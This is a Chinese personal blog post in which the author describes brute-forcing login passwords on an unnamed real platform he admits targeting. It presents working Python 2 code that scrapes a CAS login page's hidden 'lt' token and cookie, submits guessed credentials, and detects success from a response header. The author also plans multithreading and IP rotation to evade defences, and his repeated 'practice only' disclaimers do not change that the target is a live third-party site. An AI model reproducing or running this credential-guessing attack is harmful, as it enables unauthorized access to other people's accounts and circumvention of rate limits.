说明,纯属练手,不许做坏事,出事后果自负。
这个月忙的不行,所有的事情堆在一起了。毕业设计论文、答辩、创新项目结题、实验室项目……在这个月的最后一天还是写一点东西纪念下这个忙碌的五月吧。有那么半个月一直在思考人为什么要活着以及人应该怎么样活着的问题,整个人状态都有点抽风。废话不多说,心态问题只能靠自己慢慢走出来了,进入正题。
昨天看了下天哥的一篇日志,关于模拟登录的。于是一时手痒开始做起了一件一直想做但没有做的事情,爆破某平台的登录密码(虎视眈眈这个站很久了)。之前用burpsuite进行爆破的时候 疏忽了一个input(登录页面的一个input每次刷新页面是随机给的,hidden所以没发现),所以再战了。
再次说明,纯属练手,不许做坏事,出事后果自负。
于是用firebug抓了两次包,一次成功的一次失败的,对比了下两个post包,发现response部分响应头信息不一样,那任务就变得简单了。
我们的需求是根据报文返回的信息来判断密码是否正确,我用的python搞的这件事,之前发了几次包失败了,后来查询下来是http的包头构造的不对,隐藏的input也是每次都刷新的。结果想用selenium搞,又觉得太low了,有取巧的嫌疑。于是还是一心钻研发包,最终终于成功了。大概的流程就是:第一次登陆 获取hidden的input字段值和cookie,然后拿着这两个东东发post请求,根据返回的报文响应头信息来判断密码是否正确。代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
# coding:utf8 import urllib import urllib2 import time __author__ = "Snake" # Python大法好 入教保平安 # _ooOoo_ # o8888888o # 88" . "88 # (| °_° |) # O\ = /O # ____/`---'\____ # .' \\| |// `. # / \\||| : |||// \ # / _||||| -:- |||||- \ # | | \\\ - /// | | # | \_| ''\---/'' | | # \ .-\__ `-` ___/-. / # ___`. .' /--.--\ `. . __ # ."" '< `.___\_<|>_/___.' >'"". # | | : `- `.;`\ _ /`;.`/ - ` : | | # \ \ `-. \_ __\ /__ _/ .-` / / # ======`-.____`-.___\_____/___.-`____.-'====== # `=---=' # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # 佛祖保佑 永无BUG # 练手项目 锻炼技巧 不要做坏事 出事与本人无关 def password_blasting(username, password): # GET方式访问首页 loginurl = '' req = urllib2.Request(loginurl) res_data = urllib2.urlopen(req) res = res_data.readline() lt = None while (res): res = res_data.readline() if "<input type=\"hidden\" name=\"lt\"" in res: # print res lt = res.replace(" ", "") lt = lt.replace("<inputtype=\"hidden\"name=\"lt\"value=\"", "") lt = lt.replace("\"/>", "") lt = lt.strip() # print "LT:"+lt cookie = res_data.info().getheader('Set-Cookie') # print "COOKIE:"+cookie params = urllib.urlencode({'encodedService': '', 'service': "", 'serviceName': "", 'username': username, 'password': password, 'lt': lt }) # 第二次用post请求登录 构造Header附带Cookie postuUrl = '' req = urllib2.Request(postuUrl, params) req.add_header('Accept', '') req.add_header('Accept-Encoding', '') req.add_header('Accept-Language', '') req.add_header('Connection', '') req.add_header('Cookie', cookie) req.add_header('Host', '') req.add_header('Referer','') req.add_header('User-Agent', '') resp = urllib2.urlopen(req) respInfo = resp.info() # print respInfo if (respInfo.getheader('CAS-Service') != None): print "Success----" + "Username:" + str(username) + " Password:" + str(password) |
相关的header信息和post信息处于安全考虑就没贴到代码里,主要提供思路。后期优化下 比如如何提高速度,多线程还有如何做ip轮回换等问题要解决~
——Snake